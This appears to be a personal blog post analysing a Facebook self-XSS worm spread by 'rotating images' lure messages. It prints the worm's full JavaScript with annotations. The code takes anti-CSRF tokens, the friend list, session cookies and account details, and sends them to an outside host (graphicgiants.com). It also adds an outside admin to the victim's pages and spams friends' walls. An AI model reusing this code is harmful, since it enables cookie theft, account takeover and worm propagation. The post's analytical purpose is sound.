If you are looking for how to avoid or recover: read this one instead.

In the past few weeks, a lot of Facebook users have received the following (or similar) messages posted by their friends
Hi Friends see Face-book images rotate 360* see here >> http://SHADYCLOUDS.TK/
Really cool Facebook revolving images. MUST SEE http://rotatingimage2.tk/.

Following are observations and analysis of the same.

A few key observations

  1. This attack does not utilize any XSS, XSRF or XSS Inclusion vulnerability in Facebook. So, no one can be infected by just opening the Facebook unlike in the case of the recent vulnerability in Twitter.
  2. They are all based on what can be called “social XSS” – email equivalent of that would be mugged in London scam. Message from friend tempts the user to run a script in address-bar of the tab in which Facebook is open, any script executed from address bar runs as if it is a script hosted on facebook.com website and can do everything which the logged-in user can do (unless facebook detects and catches malicious automated action). Since the script is treated to be from same-origin, the XSRF prevention is defeated.
  3. Interestingly, the first script I encountered was from graphicgiants.com and it redirects to facebook.com in case the referrer is not Facebook. It can be downloaded using curl by faking the referrer (curl -e facebook.com graphicgaints.com)
  4. The irony is that even after the complete analysis, I am not able to find the code to generate any rotating images. I doubt if it was that tough to write.

Below is the analysis of the worm.

//These are to be posted as status messages
txt = "Really cool Facebook revolving images. MUST SEE http://ROTATINGIMAGES1.tk";
txtee = "Really cool Facebook revolving images. MUST SEE http://REVOLVINGIMAGES1.tk";

alert("Please wait 2-3 mins while we setup! Do not refresh this window or click any link.");
//this takes care of the fact that facebook will recognize the automated script if a lot of
//requests are sent within a short frame of time and hence, the requests are deliberately slowed

// the code below makes an XMLHttp request (AJAX request) to extract
// 1. composer_id
// 2. post_form_id
// 3. fb_dtsg
// (There is a reference to an app which has been removed from facebook)
with(x = new XMLHttpRequest()) open("GET", "/"), onreadystatechange = function () {

  if (x.readyState == 4 && x.status == 200) {
    comp = (z = x.responseText).match(/name=\\"composer_id\\" value=\\"([\d\w]+)\\"/i)[1];
    form = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
    dt = z.match(/name="fb_dtsg" value="([\d\w-_]+)"/i)[1];
    pfid = z.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
    appid = "150622878317085";
    appname = "rip_m_j";

    with(xx = new XMLHttpRequest())
      open("GET", "/ajax/browser/friends/?uid=" +
               document.cookie.match(/c_user=(\d+)/)[1] +
                  "&filter=all&__a=1&__d=1"),
      onreadystatechange = function () {
      //extracts list of friends

        if (xx.readyState == 4 && xx.status == 200) {
        m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join("\n").replace(/(\/\d+_|_\d+_q\.jpg)/gi, "").split("\n");
        //facebook returns list of friends images of the form of three numbers separated by _,
        //the above regular expression extracts out the middle of the two
        //(which infact is the userID of friend)
        i = 0;
        llimit=25;
        t = setInterval(function () {
          if (i >= llimit )
            return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
          if(i == 0) {//do it only once
            with(ddddd = new XMLHttpRequest()) open("GET", "/ajax/pages/dialog/manage_pages.php?__a=1&__d=1"),
                 setRequestHeader("X-Requested-With", null),
                 setRequestHeader("X-Requested", null),
                 onreadystatechange = function() {
              if(ddddd.readyState == 4 && ddddd.status == 200) {
                llm = (d = ddddd.responseText).match(/\\"id\\":([\d]+)/gi); len =llm.length;
                j=0;
                for(j=0;j<len;j++) {
                  with(xxxcxxx = new XMLHttpRequest()) open("POST", "/pages/edit/?id="+llm[j].replace(/\\"id\\":/i, "")+"&sk=admin"),
                       setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                       send("post_form_id="+pfid+"&fb_dtsg="+dt+"&fbpage_id="+llm[j].replace(/\\"id\\":/i, "")+
                            "&friendselector_input%5B%5D=waqas.h.rana%40hotmail.com%09&friend_selected%5B%5D=&save=1");
                       //I am not very sure on this one but it seems it adds waqa.h.rana@hotmail.com as admin of all pages the user holds
                }
              }
            }, send(null); //end of function to change the admins

            with(xxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
                 setRequestHeader("X-Requested-With", null),
                 setRequestHeader("X-Requested", null),
                 onreadystatechange = function() {
              if(xxx.readyState == 4 && xxx.status == 200) {
                with(s = document.createElement("script")) src = "http://graphicgiants.com/mmjaicc.js?q=" +
                  document.cookie.match(/c_user=(\d+)/)[1] + ":"  + (d = xxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/@/, "@") +
                    ":" + d.match(/id="navAccountName">([^<>]+)/)[1] + "&c="+ document.cookie; document.body.appendChild(s); }}, send(null);
                  // this one collects cookie as well as the personalized status update email address
                  // (a photo sent to that address is posted on the wall directly)

                with(xxcxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
                     setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                       send("fbpage_id=176607175684946&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+
                            pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
                     // likes page "http://www.facebook.com/pages/Im-Sorry-I-Never-Meant-To-Hurt-You/176607175684946"

                with(lllllxx = new XMLHttpRequest()) open("POST", "/ajax/pages/fan_status.php?__a=1"),
                     setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                        send("fbpage_id=150650771629477&add=1&reload=1&preserve_tab=1&use_primer=1&nctr[_mod]=pagelet_top_bar&post_form_id="+
                             pfid+"&fb_dtsg=" + dt + "&lsd&post_form_id_source=AsyncRequest");
                     // likes page http://www.facebook.com/Fuuuuck.It
            }
            else if (i == llimit - 1) {//if limit has already been reached
              with(xxxx = new XMLHttpRequest()) open("GET", "/mobile/?v=photos"),
                setRequestHeader("X-Requested-With", null),
                setRequestHeader("X-Requested", null),
                onreadystatechange = function() {
              if(xxxx.readyState == 4 && xxxx.status == 200){
                    with(s = document.createElement("script")) src = "http://graphicgiants.com/majic.js?q=" +
                        document.cookie.match(/c_user=(\d+)/)[1] +
                        ":"  + (d = xxxx.responseText).match(/mailto:([^\"]+)/)[1].replace(/@/, "@") + ":" +
                        d.match(/id="navAccountName">([^<>]+)/)[1] +
                        "&c="+ document.cookie; document.body.appendChild(s); }}, send(null);
                        //copies cookie and account name again (probably to mark some sort of completion)
            }

            //following code does status update
            //the code writes message represented by txt and txtee alternately on the wall of friends.
            //txt and txtee are same though (may be author's mistake)
            if(i%2==0)
            {
              with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
                setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txt +
                "&target_id=" + m[Math.floor(Math.random() * m.length)] +
                //m is an array of id of friends (was created early in the script exec), choose a random friend
                "&composer_id=" + comp +
                "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" +form + "&fb_dtsg=" + dt +
                //comp, form, dt are (probably) XSRF prevention tokens
                "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
            }
            else
            {
              with(xd = new XMLHttpRequest()) open("POST", "/ajax/updatestatus.php?__a=1"),
                   setRequestHeader("Content-Type", "application/x-www-form-urlencoded"),
                   send("action=PROFILE_UPDATE&profile_id=" + document.cookie.match(/c_user=(\d+)/)[1] + "&status=" + txtee +
                        "&target_id=" + m[Math.floor(Math.random() * m.length)] + "&composer_id=" + comp +
                        "&hey_kid_im_a_composer=true&display_context=profile&post_form_id=" + form + "&fb_dtsg=" + dt +
                        "&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest");
            }
            i += 1;
        }, 2000);// 2000 milli-sec window, after which the script is executed again
      }

    }, send(null);
  }
}, send(null);

Disclaimer: This is my personal blog. The views expressed on these pages are mine alone and not those of my employer.